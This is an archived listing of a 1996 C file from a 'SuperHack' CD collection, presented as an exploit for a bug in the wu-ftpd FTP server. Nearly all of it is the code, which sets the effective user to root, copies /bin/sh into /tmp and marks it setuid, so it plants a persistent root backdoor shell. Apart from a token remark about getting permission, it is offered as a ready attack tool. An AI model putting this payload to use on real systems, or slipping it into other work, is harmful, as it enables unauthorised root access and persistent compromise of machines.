home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
SuperHack
/
SuperHack CD.bin
/
Hack
/
UNIX
/
WUFTPHAQ.ZIP
/
WUFTPHAQ.C
Wrap
C/C++ Source or Header
|
1996-02-22
|
443b
|
20 lines
/*
Simple program to exploit the bug in wuftp. As you can see, its only a
matter of setting the euid to 0, and doing what you want - in this case
creating a suid root shell in /tmp. Of course, you get prior permission
before trying such a thing.
-Halflife
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
main()
{
setuid(0);
system("/bin/cp /bin/sh /tmp/sh");
system("/bin/chmod u+s /tmp/sh");
}